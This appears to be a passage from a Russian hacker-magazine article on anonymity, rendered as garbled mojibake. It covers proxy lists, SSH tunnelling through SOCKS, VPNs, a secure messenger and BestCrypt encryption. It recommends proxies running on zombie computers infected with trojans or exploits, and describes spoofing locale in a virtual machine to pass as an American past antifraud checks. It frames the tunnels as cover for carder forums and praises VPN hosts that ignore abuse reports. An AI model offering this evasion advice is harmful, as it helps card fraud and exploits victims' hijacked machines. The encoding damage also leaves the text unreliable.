Ïîäóìàé ñàì: ãäå ãàðàíòèÿ, ÷òî íà ñåðâåðå íå âåäóòñÿ ëîãè? Ìîæåò áûòü, õîçÿ-
èí ïðîêñè-ñåðâåðà âîîáùå ñïåöàãåíò êàìåðóíñêèõ ñïåöñëóæá, êîòîðûé åùå è
õîðîøî çíàåò äÿäþ Ìèøó èç ñîñåäíåãî ñ òîáîé îòäåëà «Ê». Êàê òåáå òàêîé äî-
âîä? Åñëè óæ ñîáðàëñÿ âîñïîëüçîâàòüñÿ ïðîêñè, òî íå ïîëåíèñü êóïèòü äîñòóï
ê ñïåöèàëèçèðîâàííîìó ñåðâèñó. Â ýòîì ñëó÷àå áîëüøèíñòâî èç ïðîêñèêîâ óñ-
òàíîâëåíû íà îáûêíîâåííûõ êîìïüþòåðàõ-çîìáè (ïîñðåäñòâîì òðîÿíîâ èëè
ýêñïëîéòîâ ê IE, íàïðèìåð), à èõ õîçÿåâà äàæå íå ïîäîçðåâàþò î ïîäëÿíêå è,
ñàìî ñîáîé, íå âåäóò ëîãîâ. Òàêèå êîìïüþòåðû â îãðîìíûõ êîëè÷åñòâàõ ðàçá-
ðîñàíû ïî âñåìó ìèðó, ïîýòîìó òû âñåãäà ñìîæåøü íàéòè ïðîêñè èç òîé ñòðà-
íû (èëè äàæå ãîðîäà/øòàòà), êîòîðàÿ òåáå íåîáõîäèìà.
Åñëè æå äåëî íå îñîáåííî ñåðüåçíîå, òî äîñòóï ê òàêèì ñåðâèñàì, â ïðèíöèïå,
íåîáÿçàòåëåí. Â òàêèõ ñëó÷àÿõ ìîæíî ïîëîæèòüñÿ íà îáû÷íûå ïðîêñè, ñïèñêè
êîòîðûõ ñâîáîäíî ðàñïðîñòðàíÿþòñÿ ÷åðåç èíåò. Íàéòè èõ íåñëîæíî, íî ðàáî-
òà ñ íèìè ïðåâðàòèòñÿ â ñàìóþ íàñòîÿùóþ êàòîðãó, åñëè íà âîîðóæåíèå òû íå
âîçüìåøü ïàðó ïîëåçíûõ óòèëèò. Äëÿ óäîáñòâà ïîèñêà ïðîêñåé ðåêîìåíäóþ
ïðîãðàììó ProxyGrab (proxygrab.msk.ru). Äîñòàòî÷íî ðàç çàáèòü â åå áàçó àäðå-
ñà ïîïóëÿðíûõ ðåñóðñîâ, ñîäåðæàùèõ ïðîêñè-ëèñòû (íàïðèìåð, www.freep-
roxy.ru/download/lists/goodproxy.txt), è âñå ãîòîâî. Òóëçà ñàìà èçâëå÷åò àäðåñà
ïðîêñåé ñî âñåõ ðåñóðñîâ è ãðàìîòíî îôîðìèò èõ â âèäå ñòàíäàðòíîãî ïðîêñè-
ñïèñêà. Ýòîò ñïèñîê, åñòåñòâåííî, íóæíî ñàìûì òùàòåëüíûì îáðàçîì ïðîâå-
ðèòü. Ñ çàäà÷åé íà «îòëè÷íî» ñïðàâèòñÿ AATools (www.glocksoft.com), êîòîðàÿ
âëàäååò ïðîâåðêîé íå òîëüêî îáû÷íûõ ïðîêñè, íî åùå è íîñêîâ. Çàïîìíè: åñ-
ëè ðå÷ü èäåò î HTTP-ïðîêñè, òî ïîñëå ïðîâåðêè âíèìàòåëüíî ñìîòðè íà äâà ïà-
ðàìåòðà: àíîíèìíîñòü è ïîääåðæêà SSL. Óðîâåíü àíîíèìíîñòü äîëæåí áûòü
ìàêñèìàëüíûì, òàê êàê òîëüêî â ýòîì ñëó÷àå óäàëåííûé ñåðâåð íå çàìåòèò èñ-
ïîëüçîâàíèå ïðîêñè. Ïîääåðæêà SSL íå ìåíåå êðèòè÷íà, îñîáåííî åñëè òû
ñîáðàëñÿ ìóòèòü öåïî÷êè èç ïðîêñè èëè ðàáîòàòü ñ HTTPS-ñàéòàìè. Åñëè òàêîé
ïîääåðæêè ó ïðîêñè íå áóäåò (äàæå èç îäíîé ïðîêñè â öåïî÷êå), òû ñðàçó æå
çàñâåòèøü ñåáÿ. Êîììåíòàðèè èçëèøíè.
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[âèðòóàëüíàÿ ìàøèíà] Ïåðåìåííûå îêðóæåíèÿ � î÷åíü ïîä-
ëàÿ òåõíîëîãèÿ. Êàæäûé ðàç, êîãäà òû çàõîäèøü íà òó èëè èíóþ
ñòðàíèöó, òâîé êîìïüþòåð ïåðåäàåò íàçâàíèå èñïîëüçóåìîãî
áðàóçåðà, òèï è ëîêàëèçàöèþ âèíäû è ò.ï. Âñå ýòî âðÿä ëè ïîìî-

æåò òåáå ïðåäñòàâèòüñÿ òîëñòûì àìåðèêîñîì èç Øòàòà Ôëîðèäà. Ëþáàÿ àí-
òèôðîä-ñèñòåìà (antifraud) òóò æå çàìåòèò ïîäâîõ è çàíåñåò òåáÿ â ÷åðíûé ñïè-
ñîê. Êîíå÷íî, ìîæíî óñòàíîâèòü íà ìàøèíó íóæíóþ ëîêàëèçàöèþ âèíäû (òî
åñòü àíãëèéñêóþ âåðñèþ), çàòåì ãðàìîòíî îáîçíà÷èòü ÷àñîâîé ïîÿñ è ñäåëàòü
ïðî÷èå ïðèãîòîâëåíèÿ, íî, ñîãëàñèñü, âñå ýòî î÷åíü íåïðàêòè÷íî. Ïðèäåòñÿ
ïîñòîÿííî ïåðåãðóæàòüñÿ, óñòàíàâëèâàòü äîïîëíèòåëüíûé ñîôò � ñëîâîì, íå
íàø ìåòîä. Ãîðàçäî áîëåå óäîáíî â ýòèõ öåëÿõ èñïîëüçîâàòü âèðòóàëüíûå ìà-
øèíû. Äëÿ ýêñïåðèìåíòîâ ðåêîìåíäóþ VMware Workstation, ïîñëåäíèå âåðñèè
êîòîðîé ìû âûêëàäûâàëè íà îêòÿáðüñêîì DVD. Óñòàíîâêà ãîñòåâîé îïåðàöèîí-
íîé ñèñòåìû îñóùåñòâëÿåòñÿ òî÷íî òàê æå, êàê åñëè áû óñòàíàâëèâàë ñèñòåìó
íà ñâîé æåñòêèé äèñê. Ñ òîé ëèøü ðàçíèöåé, ÷òî ïåðåä óñòàíîâêîé íóæíî îáîç-
íà÷èòü íåêîòîðûå ïàðàìåòðû áóäóùåé ñèñòåìû (File ! New ! Virtual Machine).
Åäèíñòâåííûé øàã, êîòîðûé ìîæåò âûçâàòü çàòðóäíåíèÿ, � Network Type. Ìàñ-
òåð ïðåäëàãàåò âûáðàòü îäèí èç òðåõ ïóíêòîâ:

Use bridged networking � âèðòóàëüíàÿ ìàøèíà èìååò ïîëíûé äîñòóï â ëîêàëüíóþ ñåòü, ê êî-
òîðîé ïîäêëþ÷åí îñíîâíîé êîìïüþòåð. Ïðè ýòîì ó íåå åñòü ñîáñòâåííûé IP-àäðåñ, ïîýòîìó
îíà ðàáîòàåò íàðàâíå ñî âñåìè îñòàëüíûìè êîìïüþòåðàìè â ñåòè.
Use NAT � ãîñòåâàÿ îñü ñïðÿòàíà çà NAT-ñåðâèñîì, îðãàíèçîâàííûì íà îñíîâíîé ìàøèíå. 
Use host-only networking � â ýòîì ñëó÷àå áóäåò èñïîëüçîâàòüñÿ âèðòóàëüíàÿ ñåòü ñ îñíîâíûì
êîìïüþòåðîì. Âîçìîæíîñòè äîñòóïà âî âíåøíþþ ëîêàëüíóþ ñåòü îòñóòñòâóåò.
Do not use network � ñåòü èñïîëüçîâàòüñÿ íå áóäåò.

Ïåðâûé âàðèàíò íàèáîëåå ïðåäïî÷òèòåëåí.

[áåçîïàñíûé ìåñ-
ñåäæåð] ICQ � çëî.
Åé ïîëüçóåòñÿ ïî÷òè
êàæäûé, íî âìåñòå ñ

òåì ãàðàíòèðîâàòü áåçîïàñíîñòü
èñïîëüçîâàíèÿ ICQ íå ìîæåò íèê-
òî. Âçÿòü õîòÿ áû ïðîòîêîë ICQ: îí
äàâíî èçó÷åí è íå ïîääåðæèâàåò
øèôðîâàíèå òðàôèêà, ïîýòîìó âñå
ñîîáùåíèÿ ëåãêî ïåðåõâàòûâàþò-
ñÿ ñíèôåðàìè (ëó÷øèì ïîäòâåðæ-
äåíèåì ìîèõ ñëîâ ÿâëÿåòñÿ ïðîãà
IcqSnif � www.ufasoft.com/icqsnif).
Ïîìèìî ýòîãî, èìåþò ìåñòî óãîíû
ICQ, ÷ðåâàòûå òåì, ÷òî îò òâîåãî
èìåíè êòî-òî ëåãêî ñìîæåò âåñòè
äèàëîã è òåì ñàìûì ñåðüåçíî ïîä-
ïîðòèòü òâîþ ðåïóòàöèþ. Îäíèì
ñëîâîì, õîòåëîñü áû èìåòü áîëåå
áåçîïàñíîå ñðåäñòâî, êîòîðîå áåç
îïàñêè (ïî êðàéíåé ìåðå, ñðàâíè-
òåëüíî) âîçìîæíî áûëî èñïîëüçî-
âàòü äëÿ ñåðüåçíûõ äåë. Òàêîå,
êàê Secure Shuttle Transport (www.se-
cureshuttle.com).
Ýòî åùå îäèí ìåññåäæåð âðîäå
ICQ, Indigo, AOL è ò.ï., íî åñòü íå-
êîòîðûå îñîáåííîñòè, êîòîðûå
ñäåëàþò òâîå îáùåíèå áåçîïàñ-
íåå. Ïåðâîå, ÷òî õî÷åòñÿ îòìå-
òèòü: SST ïåðåäàåò ñîîáùåíèÿ
èñêëþ÷èòåëüíî â çàøèôðîâàííîì
âèäå. Èñïîëüçóåìûå RSA-àëãî-
ðèòìû ðàáîòàþò òàê, ÷òî ðàñøèô-
ðîâàòü ñîîáùåíèå ñìîæåò òâîé
ñîáåñåäíèê è íèêòî äðóãîé. Ïîìè-
ìî ýòîãî, åñòü åùå îäèí íþàíñ:
ïðîãðàììà èñïîëüçóåò äâà òèïà
ñîåäèíåíèÿ. Ïåðâîå � ñîåäèíå-
íèå ñ SST-ñåðâåðîì � íåîáõîäè-
ìî äëÿ èäåíòèôèêàöèè â ñèñòåìå,
ïîèñêà ïîëüçîâàòåëåé, à òàêæå
ïåðåäà÷è ñîîáùåíèé òåì þçåðàì,
êîòîðûå íàõîäÿòñÿ â îôôëàéí.
Âòîðîé òèï ñîåäèíåíèÿ � ïðÿìîå
ñ êîíêðåòíûì ïîëüçîâàòåëåì �
óñòàíàâëèâàåòñÿ âî âðåìÿ ïåðå-
äà÷è ñîîáùåíèé, ôàéëîâ èëè ãî-
ëîñîâûõ ìåññàã. Òàêèì îáðàçîì,
íè îäíà èç òâîèõ áåñåä íå îêàæåò-
ñÿ â ëîãàõ íà ñåðâåðå, òàê êàê ñî-
îáùåíèÿ ÷åðåç íåãî ïîïðîñòó íå
ïðîõîäÿò.
Äðóãàÿ îñîáåííîñòü çàêëþ÷àåòñÿ
â òîì, ÷òî óãíàòü SST-íîìåð çíà-
÷èòåëüíî ñëîæíåå, ÷åì â ICQ. Âîç-
ìîæíîñòè âîññòàíîâèòü ïàðîëü íà
àêêàóíòå íåò. Ïîòåðÿë èëè çàáûë
� âèíîâàò ñàì. Íî ýòî åùå öâå-
òî÷êè. Äëÿ ðàáîòû â ñèñòåìå òû
äîëæåí ïðåäñòàâèòü ñïåöèàëüíûé
ôàéë-êëþ÷, â êîòîðîì çàøèôðî-
âàíà íåîáõîäèìàÿ èíôîðìàöèÿ.
Ñèñòåìà î÷åíü ïîõîæà íà Web-
money: äàæå åñëè òû çíàåøü ïà-
ðîëü, íî ó òåáÿ íåò êëþ÷à, ïîäêëþ-
÷èòüñÿ ê ñåðâåðó òû íå ñìîæåøü.
Îòìå÷ó è òî, ÷òî ìíîãèå óæå ïðîñåê-
ëè ïðåëåñòè íîâîãî ìåññåäæåðà è àê-
òèâíî çàâîäÿò â íåì ïîêà åùå 6-çíà÷-
íûå íîìåðêè.Òåïåðü òâîÿ î÷åðåäü!
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Âñå ïðîãðàììû, êîòîðûå
óïîìèíàëèñü â ñòàòüå, òû
îáÿçàòåëüíî íàéäåøü íà
CD/DVD. Çàìå÷ó: òîëüêî
ñàìûå ïîñëåäíèå âåðñèè.

Âñÿ èíôîðìàöèÿ ïðèâåäå-
íà â öåëÿõ îçíàêîìëåíèÿ.
Àâòîð è ðåäàêöèÿ íå íåñóò
îòâåòñòâåííîñòè çà òå äåé-
ñòâèÿ, êîòîðûå òû ìîæåøü
ñîâåðøèòü, ïðî÷èòàâ ýòîò
ìàòåðèàë. 

×òîáû SSH-òóííåëèðîâà-
íèå ðàáîòàëî, íóæíî íà
ñåðâåðå â ôàéëå 
/etc/ssh/sshd_config 
âêëþ÷èòü îïöèþ 
AllowTcpForwarding: yes.
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[SSH � àëüòåðíàòèâà VPN] VPN � ýòî íàäåæíî
è óäîáíî, íî åñòü îäèí ìèíóñ. Îòäàâàòü 30�40$ â ìå-
ñÿö çà óñëóãè îäíîãî òîëüêî VPN � î÷åíü íàêëàäíî
äàæå äëÿ áîëåå-ìåíåå îáåñïå÷åííûõ ïîëüçîâàòåëåé.

Äà è êàêèå ãàðàíòèè, ÷òî VPN-ñåðâèñ íå êóðèðóþò ëþäè â ôîðìå?
Ñëîâîì, íåïëîõî áûëî áû íàéòè äåøåâóþ àëüòåðíàòèâó VPN, êîòî-
ðàÿ âìåñòå ñ òåì íå óñòóïàëà áû â íàäåæíîñòè è íå òðåáîâàëà èñ-
ïîëüçîâàíèÿ óñëóã òðåòüèõ ëèö. Èñêàòü, íà ñàìîì äåëå, íè÷åãî íå
íàäî � òàêàÿ àëüòåðíàòèâà åñòü. ß ãîâîðþ î SSH-òóííåëèðîâàíèè.
Âñå, ÷òî íóæíî äëÿ åå èñïîëüçîâàíèÿ, � øåëë èëè õîñòèíã ñ ïîä-
äåðæêîé OpenSSH, êîòîðûé äîâîëüíî ëåãêî ìîæíî êóïèòü âñåãî
çà 6�7$ äîëëàðîâ â ìåñÿö. Èäåÿ åãî èñïîëüçîâàíèÿ âûãëÿäèò
ñëåäóþùèì îáðàçîì. Ñíà÷àëà ñ ïîìîùüþ ëþáîãî SSH-êëèåíòà,
íàïðèìåð, SecureCRT (www.vandyke.com) èëè PuTTY (www.chi-
ark.greenend.org.uk/~sgtatham/putty), òû óñòàíàâëèâàåøü ñîåäè-
íåíèå ñ ñåðâåðîì. Ïðîâåðÿåøü, ðàçðåøåíû ëè ñ ñåðâåðà âíåø-
íèå ïîäêëþ÷åíèÿ. Åñëè äà, òî òû ñîâåðøåííî áåçîïàñíî íà÷èíà-
åøü ïðîâåðÿòü ïî÷òó, âåñòè ðàçãîâîðû â ICQ/IRC, ñåðôèòü êàðäå-
ðñêèå è õàêåðñêèå ôîðóìû. Ïî÷åìó áåçîïàñíî? À êàê æå èíà÷å,
åñëè îò òåáÿ äî SSH-ñåðâåðà íàëàæåí çàøèôðîâàííûé êàíàë,
êîòîðûé íåâîçìîæíî ïðîñëóøàòü è ðàñøèôðîâàòü?
Ðàññìîòðèì ýòî íà êîíêðåòíîì ïðèìåðå. ×òîáû íå ðàçáèðàòüñÿ
ñ íàñòðîéêàìè ïåðåàäðåñàöèè ïîðòîâ â SSH-êëèåíòàõ, ïðåäëà-
ãàþ óñòàíîâèòü ñïåöèàëèçèðîâàííóþ ïðîãðàììó Entunnel
(www.vandyke.com). Òóëçà ïðåäíàçíà÷åíà èñêëþ÷èòåëüíî äëÿ
ïîäíÿòèÿ SSH-òóííåëåé, òàê ÷òî ðàçîáðàòüñÿ ñ íåé è ñî ñõåìîé
â öåëîì áóäåò ïðîùå ïðîñòîãî. Ïîñêîëüêó ïîìèìî øèôðîâàíèÿ
íàñ èíòåðåñóåò åùå è àíîíèìíîñòü, ïðèäåòñÿ âîñïîëüçîâàòüñÿ
SOCKS-ñåðâåðîì. Èäåÿ òàêîâà: íàëàäèòü ïåðåàäðåñàöèþ ïàêå-
òîâ ñ ëîêàëüíîãî 1080 ïîðòà (ïîðò SOCKS) íà óäàëåííûé
SOCKS-ñåðâåð, ïðè÷åì âñå ýòî çàâåðíóòü â SSH-ñîåäèíåíèå.
Íå ïîíÿë? Ñåé÷àñ ðàçáåðåìñÿ ïîäðîáíåå.
Èòàê, çàïóñêàé Entunnel è ñìåëî æìè Create a new session. Â ðàç-
äåëå Connection îáîçíà÷àþòñÿ ïàðàìåòðû SSH-ñîåäèíåíèÿ: IP-
àäðåñ SSH-ñåðâåðà, ïîðò (îáû÷íî 22), à òàêæå òèï àâòîðèçàöèè
(íàïðèìåð, ñ ïîìîùüþ ïàðîëÿ). Çàïîëíèâ èõ, ïðèñòóïàé ê ïàðà-
ìåòðàì íåïîñðåäñòâåííî SSH-òóííåëÿ, êîòîðûå íàõîäÿòñÿ â ðàç-
äåëå Port Forwarding. Æìè Add (äîáàâèòü íîâóþ ïåðåàäðåñàöèþ
ïîðòîâ), â ïîÿâèâøåìñÿ îêíå ââîäè èìÿ ïðàâèëà (ñêàæåì,
SOCKS), à òàêæå ïîðò ëîêàëüíîé ìàøèíû, íà êîòîðîì ïðîãðàì-
ìà áóäåò «ñëóøàòü» çàïðîñû (â ñëó÷àå ñîêñà ðàçóìíî áóäåò óêà-
çàòü 1080). Äàëåå íåîáõîäèìî âêëþ÷èòü îïöèþ Destination Host is
different from the SSH server è â òåêñòîâîì ïîëå ââåñòè àäðåñ çàá-
ëàãîâðåìåííî íàéäåííîãî SOCKS-ñåðâåðà è åãî ïîðò. Íà ýòîì
íàñòðîéêà ñîåäèíåíèÿ çàêîí÷åíà � ìîæíî ïîäêëþ÷àòüñÿ. Äëÿ
ýòîãî ïðîñòî íàæìè Connect è íàáëþäàé çà ïîëåì Status. Åñëè
âñå ïðîøëî óñïåøíî, ïðîãðàììà ñ ðàäîñòüþ îá ýòîì ñîîáùèò.
Âñå. Òåïåðü Entunnel «ñëóøàåò» ïîäêëþ÷åíèÿ íà 1080 ïîðòó, çà-
âîðà÷èâàåò èõ â SSH è â çàøèôðîâàííîì âèäå ïåðåäàåò ñåðâåðó,
êîòîðûé, â ñâîþ î÷åðåäü, ýòî äîáðî äåêîäèðóåò è ïåðåäàñò íà
íàñòîÿùèé SOCKS. ×òî îñòàëîñü? Îñòàëîñü çàñòàâèòü ïðèëîæå-
íèÿ ðàáîòàòü ÷åðåç ëîêàëüíûé ñîêñ-ñåðâåð, òî åñòü îñóùåñòâëÿòü
âñå ïîäêëþ÷åíèÿ ÷åðåç ëîêàëüíûé 1080 ïîðò. Åñëè ïðîãà ïîääåð-
æèâàåò ðàáîòó ÷åðåç SOCKS, òî ïðîáëåìû íåò âîîáùå. Äîñòàòî÷-
íî ëèøü óêàçàòü â êà÷åñòâå ñîêñà 127.0.0.1:1080. À ÷òî äåëàòü ñ
òåìè, êîòîðûå ïî óìîë÷àíèþ ÷åðåç ïðîêñè ðàáîòàòü íå óìåþò?
Çäåñü êàê íåëüçÿ êñòàòè áóäóò ïðîãðàììû-ñîêñîôèêàòîðû òèïà
SocksCap (www.socks.nec.com) èëè FreeCap (www.freecap.ru). ß
ðåêîìåíäóþ áîëåå óíèâåðñàëüíîå ñðåäñòâî Permeo Security Driver
(www.permeo.com), ïðèìå÷àòåëüíîå òåì, ÷òî ñïîñîáíî ïóñêàòü ÷å-
ðåç SOCKS âñå è âñÿ, äàæå áåç ïðåäâàðèòåëüíîé íàñòðîéêè ïðè-
ëîæåíèé (ïðîãà ðàáîòàåò êàê ñåòåâîé äðàéâåð). 
Âñå ýòè òóëçû ïðåäåëüíî ïðîñòû â ýêñïëóàòàöèè, íî åñëè âîç-
íèêíóò âîïðîñû, ðåêîìåíäóþ îáðàòèòüñÿ ê ñòàòüå � www.xa-
kep.ru/magazine/xa/063/028/1.asp.
Âîîáùå, SSH-òóííåëèðîâàíèå èìååò ðÿä äðóãèõ íåîñïîðèìûõ
ïëþñîâ. Âíåøíå ïîäîáíûå òóííåëè íå âûçûâàþò ïîäîçðåíèÿ è
âûãëÿäÿò êàê îáû÷íàÿ ðàáîòà íà òåðìèíàëå, â òî âðåìÿ êàê
øèôðîâàííûé VPN âèäíî ñðàçó è âñåì. Áîëåå òîãî, âñå ïîëü-
çîâàòåëè VPN íàâåðíÿêà ñòàëêèâàëèñü ñ ñèòóàöèåé, êîãäà
VPN-ñîåäèíåíèå íåîæèäàííî è íåçàìåòíî îáðûâàëîñü, à ðà-
áîòà ïðîäîëæàëàñü áåç íåãî, íàïðÿìóþ. Èç-çà òàêîãî âîò äî-
ñàäíîãî íåäîðàçóìåíèÿ ìîæíî ëåãêî ñäàòü ñåáÿ â ñåðüåçíîì
äåëå. Äåëàé âûâîäû�

[VPN-ñåðâåð] Ãëàâíàÿ ïðîáëåìà
èñïîëüçîâàíèÿ ïðîêñè â òîì, ÷òî äàí-
íûå ïåðåäàþòñÿ â îòêðûòîì, òî åñòü
íåçàøèôðîâàííîì âèäå. Ýòî â

äåéñòâèòåëüíîñòè î÷åíü ñåðüåçíûé íåäîñòàòîê, òàê
êàê âåñü òâîé HTTP-òðàôèê ìîæåò áûòü ëåãêî ïåðåõ-
âà÷åí îáû÷íûì ñíèôåðîì äàæå â òâîåé ñîáñòâåííîé
ëîêàëêå. ×òî óæ ãîâîðèòü î ïðîâàéäåðå è îáî âñåõ
îñòàëüíûõ óçëàõ, ÷åðåç êîòîðûå ïðîõîäÿò ñåòåâûå
ïàêåòû, ïðåæäå ÷åì äîñòèãàþò ïóíêòà íàçíà÷åíèÿ.
Áîëüøóþ óâåðåííîñòü â ñîõðàííîñòè ñâîèõ äàí-
íûõ ìîæåò ïðèäàòü VPN-ñîåäèíåíèå. 
Àááðåâèàòóðà VPN ðàñøèôðîâûâàåòñÿ êàê âèðòó-
àëüíàÿ ÷àñòíàÿ ñåòü. Òåõíîëîãèþ â áîëüøèíñòâå
ñëó÷àåâ èñïîëüçóþò äëÿ îáúåäèíåíèÿ íåñêîëüêèõ
ëîêàëüíûõ ñåòåé (íàïðèìåð, äâóõ-òðåõ îôèñîâ îä-
íîé êîìïàíèè) èëè äëÿ ïîäêëþ÷åíèÿ ê ëîêàëüíîé ñå-
òè óäàëåííûõ ïîëüçîâàòåëåé. Êàíàëîì ñâÿçè â îáî-
èõ ñëó÷àÿõ âûñòóïàåò Èíòåðíåò. Êàê îêàçàëîñü, VPN
èäåàëüíî ïîäõîäèò äëÿ îáåñïå÷åíèÿ àíîíèìíîñòè è
áåçîïàñíîñòè îáû÷íûõ ïîëüçîâàòåëåé. Ôèøêà çàê-
ëþ÷àåòñÿ â òîì, ÷òî VPN PPTP-ñîåäèíåíèå îáû÷íî
èñïîëüçóåò êðèïòîñòîéêîå øèôðîâàíèå (âïëîòü äî
2048 áèò), êîòîðîå ïðàêòè÷åñêè íåâîçìîæíî ðàñ-
øèôðîâàòü «íà ëåòó». ×òîáû ëó÷øå ïîíÿòü, êàê ýòà
ñèñòåìà ðàáîòàåò, ïðåäëàãàþ ïî øàãàì ðàññìîòðåòü
ïðîöåññ âçàèìîäåéñòâèÿ êëèåíòà è VPN-ñåðâåðà.
Âíåøíå VPN-ñîåäèíåíèå ìàëî ÷åì îòëè÷àåòñÿ îò
ïîäêëþ÷åíèÿ ê îáû÷íîé ëîêàëüíîé ñåòè: ïðèëîæå-
íèÿ âîîáùå íå ïî÷óâñòâóþò ðàçíèöû è ïîýòîìó
áåç êàêîé-ëèáî íàñòðîéêè áóäóò èñïîëüçîâàòü åãî
äëÿ äîñòóïà â èíåò. Êîãäà îäíî èç íèõ çàõî÷åò îá-
ðàòèòüñÿ ê óäàëåííîìó ðåñóðñó, íà êîìïüþòåðå áó-
äåò ñîçäàí ñïåöèàëüíûé GRE-ïàêåò, êîòîðûé â çà-
øèôðîâàííîì âèäå áóäåò îòïðàâëåí VPN-ñåðâå-
ðó. VPN-ñåðâåð, â ñâîþ î÷åðåäü, ýòîò ïàêåò ðàñ-
øèôðóåò, ðàçáåðåòñÿ â ÷åì åãî ñóòü (çàïðîñ íà çà-
êà÷êó êàêîé-ëèáî HTTP-ñòðàíèöû, ïðîñòî ïåðåäà-
÷à äàííûõ è ò.ä.) è âûïîëíèò îò ñâîåãî ëèöà (òî
åñòü çàñâåòèò ñâîé IP) ñîîòâåòñòâóþùåå äåéñòâèå.
Äàëåå, ïîëó÷èâ îòâåò îò óäàëåííîãî ðåñóðñà, VPN-
ñåðâåð ïîìåñòèò åãî â GRE-ïàêåò, çàøèôðóåò è â
òàêîì âèäå îòïðàâèò îáðàòíî êëèåíòó.
Íåïðåðûâíîå øèôðîâàíèå ïåðåäàâàåìûõ äàí-
íûõ � ýòî êëþ÷åâîé ìîìåíò â îáåñïå÷åíèè áåçî-
ïàñíîñòè. Áëàãîäàðÿ ýòîé âîçìîæíîñòè VPN â
ïîñëåäíåå âðåìÿ íà îñîáîì ñ÷åòó ó ëþáîãî òîëêî-
âîãî àäìèíà, õàêåðà è êàðäåðà :).  Â áîëüøèíñòâå
ñëó÷àåâ èìååò ìåñòî äîãîâîðåííîñòü ñ àäìèíèñò-
ðàöèåé, êîòîðàÿ çà îïðåäåëåííóþ äåíåæêó îáÿçó-
åòñÿ èãíîðèðîâàòü æàëîáû â abuse-ñëóæáó è âåñ-
òè âñå ëîãè èñêëþ÷èòåëüíî â /dev/null.
Íàðÿäó ñ VPN-ñåðâåðîì î÷åíü ÷àñòî óñòàíàâëèâàåò-
ñÿ åùå è OpenVPN (www.openvpn.net). Îí íå òîëüêî
ïðåäîñòàâëÿåò íåêîòîðûå äîïîëíèòåëüíûå ôèøêè
ïî ñðàâíåíèþ ñ PPTP, íî åùå è ÿâëÿåòñÿ åäèíñòâåí-
íîé âîçìîæíîñòüþ èñïîëüçîâàòü VPN-ïîäîáíîå ñîå-
äèíåíèå, åñëè ïðîâàéäåð íå ïðîïóñêàåò GRE-ïàêåòû.
Ñòîëü äóðíàÿ ïðèâû÷êà õàðàêòåðíà äëÿ áîëüøèíñòâà
ñîòîâûõ îïåðàòîðîâ, êîòîðûå ïî÷åìó-òî ðåæóò âñå
GRE-ïàêåòû, ïðîõîäÿùèå ÷åðåç GPRS è EDGE.
Òåïåðü ãëàâíûé âîïðîñ: êàê ïîëó÷èòü äîñòóï ê VPN-
ñåðâåðó? Íàïðàâî è íàëåâî VPN-àêêàóíòû íå ðàç-
äàþò, ïîýòîìó, âåðîÿòíåå âñåãî, òàêîé àêêàóíò òåáå
ïðèäåòñÿ êóïèòü. Ìåñÿö îáñëóæèâàíèÿ ñòîèò ïðè-
ìåðíî 30�40$, íî öåíà âïîëíå îïðàâäàíà. Â ïðèí-
öèïå, íèêòî íå ìåøàåò ïîäíÿòü òåáå ñîáñòâåííûé
VPN-ñåðâåð, íî äëÿ ýòîãî, êàê ìèíèìóì, ïîíàäîáèò-
ñÿ íåêîòîðûé îïûò (÷èòàé àðõèâ Õ, òàê êàê ó íàñ áû-
ëè ñòàòüè íà ýòó òåìó), à òàêæå âûäåëåííûé ñåðâåð,
òðåáóþùèé ñóùåñòâåííûõ äåíåæíûõ âëîæåíèé.
Ïîøàãîâûå èíñòðóêöèè ïî ñîçäàíèþ VPN-ïîäêëþ-
÷åíèÿ îáû÷íî âûëîæåíû íà ñòðàíèöàõ ñåðâèñà, ïî-
ýòîìó ÿ íàìåðåííî íå áóäó âûêëàäûâàòü èõ çäåñü. 
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[øèôðîâàíèå äàííûõ] Âñÿ ïðèâàòíàÿ èí-
ôîðìàöèÿ äîëæíà áûòü òùàòåëüíûì îáðàçîì çà-
øèôðîâàíà è ñïðÿòàíà îò ïîñòîðîííèõ ëèö ñ ïî-
ìîùüþ ìîùíûõ ñèñòåì øèôðîâàíèÿ. Òàêèõ, êàê

DriveCrypt (www.drivecrypt.com), PGP Whole Disk Encryption
(www.pgp.com) è BestCrypt (www.jetico.com). Åñëè õî÷åøü ìàê-
ñèìóì îòäà÷è è ìèíèìóì ãåìîððîÿ, òî ñìåëî óñòàíàâëèâàé ïîñ-
ëåäíþþ èç íèõ � ñåé÷àñ ìû ïîäðîáíî ðàññìîòðèì èìåííî åå. 
Â õîäå óñòàíîâêè íèêàêèõ çàòðóäíåíèé âîçíèêíóòü íå äîëæíî, è
ìàñòåð î÷åíü ñêîðî ïîïðîñèò ïåðåçàãðóçèòü êîìïüþòåð. Êàê òîëü-
êî ñèñòåìà çàãðóçèòñÿ çàíîâî, òû ñðàçó óâèäèøü â òðåå íîâûé çíà-
÷îê. Ëþáîâàòüñÿ òàì íå÷åì, ïðîñòî æìè íà íåãî è â ìåíþ âûáèðàé
ïóíêò BestCrypt Control Panel. Ïîÿâèâøååñÿ îêíî � ýòî ïàíåëü óï-
ðàâëåíèÿ ïðîãðàììîé, ñ êîòîðîé íàì ïðåäñòîèò íåìíîãî ïîðàáî-
òàòü. Çäåñü íóæíî â äâóõ ñëîâàõ ðàññêàçàòü î âîçìîæíîñòÿõ
BestCrypt. Èñïîëüçóÿ ñïåöèàëüíûå àëãîðèòìû, ïðîãà ñîçäàåò ñïå-
öèàëüíûé ôàéë-êîíòåéíåð, êîòîðûé ìîæíî ïðèìîíòèðîâàòü ê ñèñ-
òåìå êàê îáû÷íûé ëîãè÷åñêèé äèñê. Ôóíêöèîíàëüíî ýòîò äèñê áó-
äåò òî÷íî òàêèì æå, êàê è âñå îñòàëüíûå, íî â òîæå âðåìÿ ñîäåðæà-
ùèåñÿ íà íåì äàííûå áóäóò øèôðîâàòüñÿ «íà ëåòó» îäíèì èç âûá-
ðàííûõ êðèïòî-àëãîðèòìîâ (AES, GOST 28147-89, Twofish,
Blowfish). Ôèøêà çàêëþ÷àåòñÿ â òîì, ÷òî ïðèìîíòèðîâàòü òàêîé
êîíòåéíåð ê ñèñòåìå âîçìîæíî òîëüêî ïîñëå ââîäà ïàðîëÿ. Â ïðî-
òèâíîì ñëó÷àå, ýòî áóäåò íå áîëåå ÷åì íàáîð ñëó÷àéíûõ ñèìâîëîâ,
ñâÿçàòü êîòîðûå ìåæäó ñîáîé âðÿä ëè ïîä ñèëó äàæå ñïåöñëóæáàì.
Ïðèñòóïèì ê ñîçäàíèþ êîíòåéíåðà. Äëÿ íà÷àëà íóæíî óêàçàòü äèñê,
